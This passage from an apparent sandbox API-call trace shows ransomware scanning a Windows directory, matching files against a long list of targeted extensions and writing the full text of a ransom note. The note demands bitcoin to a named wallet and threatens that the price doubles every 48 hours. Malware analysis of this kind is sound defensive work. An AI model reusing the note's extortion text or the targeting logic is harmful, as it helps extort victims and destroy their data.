(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.doc") returned 0 [0103.199] lstrlenA (lpString="*.doc") returned 5 [0103.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.dot") returned 0 [0103.199] lstrlenA (lpString="*.dot") returned 5 [0103.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.docx") returned 0 [0103.199] lstrlenA (lpString="*.docx") returned 6 [0103.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.7z") returned 0 [0103.199] lstrlenA (lpString="*.7z") returned 4 [0103.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.tar") returned 0 [0103.199] lstrlenA (lpString="*.tar") returned 5 [0103.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.bz2") returned 0 [0103.200] lstrlenA (lpString="*.bz2") returned 5 [0103.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.gz") returned 0 [0103.200] lstrlenA (lpString="*.gz") returned 4 [0103.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.mkv") returned 0 [0103.200] lstrlenA (lpString="*.mkv") returned 5 [0103.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0103.200] lstrlenA (lpString="*.eml") returned 5 [0103.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.msg") returned 0 [0103.200] lstrlenA (lpString="*.msg") returned 5 [0103.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.edb") returned 0 [0103.200] lstrlenA (lpString="*.edb") returned 5 [0103.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.accdb") returned 0 [0103.200] lstrlenA (lpString="*.accdb") returned 7 [0103.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.odb") returned 0 [0103.200] lstrlenA (lpString="*.odb") returned 5 [0103.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.java") returned 0 [0103.200] lstrlenA (lpString="*.java") returned 6 [0103.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.asm") returned 0 [0103.201] lstrlenA (lpString="*.asm") returned 5 [0103.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.pfx") returned 0 [0103.201] lstrlenA (lpString="*.pfx") returned 5 [0103.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.pem") returned 0 [0103.201] lstrlenA (lpString="*.pem") returned 5 [0103.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.p12") returned 0 [0103.201] lstrlenA (lpString="*.p12") returned 5 [0103.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.gpg") returned 0 [0103.201] lstrlenA (lpString="*.gpg") returned 5 [0103.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.vsd") returned 0 [0103.201] lstrlenA (lpString="*.vsd") returned 5 [0103.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.odg") returned 0 [0103.201] lstrlenA (lpString="*.odg") returned 5 [0103.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.raw") returned 0 [0103.201] lstrlenA (lpString="*.raw") returned 5 [0103.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.nef") returned 0 [0103.201] lstrlenA (lpString="*.nef") returned 5 [0103.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.svg") returned 0 [0103.202] lstrlenA (lpString="*.svg") returned 5 [0103.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.psd") returned 0 [0103.202] lstrlenA (lpString="*.psd") returned 5 [0103.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.vmx") returned 0 [0103.202] lstrlenA (lpString="*.vmx") returned 5 [0103.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.vmdk") returned 0 [0103.202] lstrlenA (lpString="*.vmdk") returned 6 [0103.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.vdi") returned 0 [0103.202] lstrlenA (lpString="*.vdi") returned 5 [0103.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.lay6") returned 0 [0103.202] lstrlenA (lpString="*.lay6") returned 6 [0103.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.mpeg") returned 0 [0103.202] lstrlenA (lpString="*.mpeg") returned 6 [0103.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.djvu") returned 0 [0103.202] lstrlenA (lpString="*.djvu") returned 6 [0103.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.tiff") returned 0 [0103.203] lstrlenA (lpString="*.tiff") returned 6 [0103.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.backup") returned 0 [0103.203] lstrlenA (lpString="*.backup") returned 8 [0103.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.pdf") returned 0 [0103.203] lstrlenA (lpString="*.pdf") returned 5 [0103.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.cert") returned 0 [0103.203] lstrlenA (lpString="*.cert") returned 6 [0103.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.docm") returned 0 [0103.203] lstrlenA (lpString="*.docm") returned 6 [0103.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.xlsm") returned 0 [0103.203] lstrlenA (lpString="*.xlsm") returned 6 [0103.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.dwg") returned 0 [0103.203] lstrlenA (lpString="*.dwg") returned 5 [0103.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.nd") returned 0 [0103.203] lstrlenA (lpString="*.nd") returned 4 [0103.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.tlg") returned 0 [0103.203] lstrlenA (lpString="*.tlg") returned 5 [0103.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.lgb") returned 0 [0103.204] lstrlenA (lpString="*.lgb") returned 5 [0103.204] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.mov") returned 0 [0103.204] lstrlenA (lpString="*.mov") returned 5 [0103.204] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.xdw") returned 0 [0103.204] lstrlenA (lpString="*.xdw") returned 5 [0103.204] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.ods") returned 0 [0103.204] lstrlenA (lpString="*.ods") returned 5 [0103.204] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.wav") returned 0 [0103.204] lstrlenA (lpString="*.wav") returned 5 [0103.204] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.mp3") returned 0 [0103.204] lstrlenA (lpString="*.mp3") returned 5 [0103.204] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.aiff") returned 0 [0103.204] lstrlenA (lpString="*.aiff") returned 6 [0103.204] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.flac") returned 0 [0103.204] lstrlenA (lpString="*.flac") returned 6 [0103.204] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.m4a") returned 0 [0103.204] lstrlenA (lpString="*.m4a") returned 5 [0103.204] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.csv") returned 0 [0103.204] lstrlenA (lpString="*.csv") returned 5 [0103.205] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27210b70, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x27210b70, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x27210b70, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x52600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0103.205] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0103.205] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26d01cb0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x26d01cb0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x26d01cb0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="bf3e8ba642eaf9a5371982f211550c52", cAlternateFileName="BF3E8B~1")) returned 1 [0103.205] lstrcmpA (lpString1=".", lpString2="bf3e8ba642eaf9a5371982f211550c52") returned -1 [0103.205] lstrcmpA (lpString1="..", lpString2="bf3e8ba642eaf9a5371982f211550c52") returned -1 [0103.205] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\*.*") returned="*.*" [0103.205] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\", lpString2="bf3e8ba642eaf9a5371982f211550c52" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52" [0103.205] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52") returned 100 [0103.205] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26d01cb0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x26d01cb0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x26d01cb0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0103.206] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0103.206] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26d01cb0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x26d01cb0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x26d01cb0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.206] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0103.206] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0103.206] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26d01cb0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x26d01cb0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x26d01cb0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x45a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0103.206] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0103.206] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll") returned -1 [0103.207] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll") returned -1 [0103.207] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll") returned -1 [0103.208] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\*.*") returned="*.*" [0103.208] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\" [0103.208] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\") returned="" [0103.208] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\HOW TO DECRYPT FILES.txt" [0103.208] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\bf3e8ba642eaf9a5371982f211550c52\\how to decrypt files.txt")) returned 0xffffffff [0103.208] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\bf3e8ba642eaf9a5371982f211550c52\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0103.213] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0103.213] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0103.215] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0103.215] CloseHandle (hObject=0x90) returned 1 [0103.216] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\", lpString2="Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll" [0103.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.ems") returned 0 [0103.216] lstrlenA (lpString="*.ems") returned 5 [0103.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.db") returned 0 [0103.216] lstrlenA (lpString="*.db") returned 4 [0103.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.dbf") returned 0 [0103.216] lstrlenA (lpString="*.dbf") returned 5 [0103.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.myox") returned 0 [0103.216] lstrlenA (lpString="*.myox") returned 6 [0103.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.myo") returned 0 [0103.216] lstrlenA (lpString="*.myo") returned 5 [0103.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.qbw") returned 0 [0103.216] lstrlenA (lpString="*.qbw") returned 5 [0103.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.qbb") returned 0 [0103.216] lstrlenA (lpString="*.qbb") returned 5 [0103.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.qbm") returned 0 [0103.217] lstrlenA (lpString="*.qbm") returned 5 [0103.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.qbo") returned 0 [0103.217] lstrlenA (lpString="*.qbo") returned 5 [0103.217] PathMatchSpecA 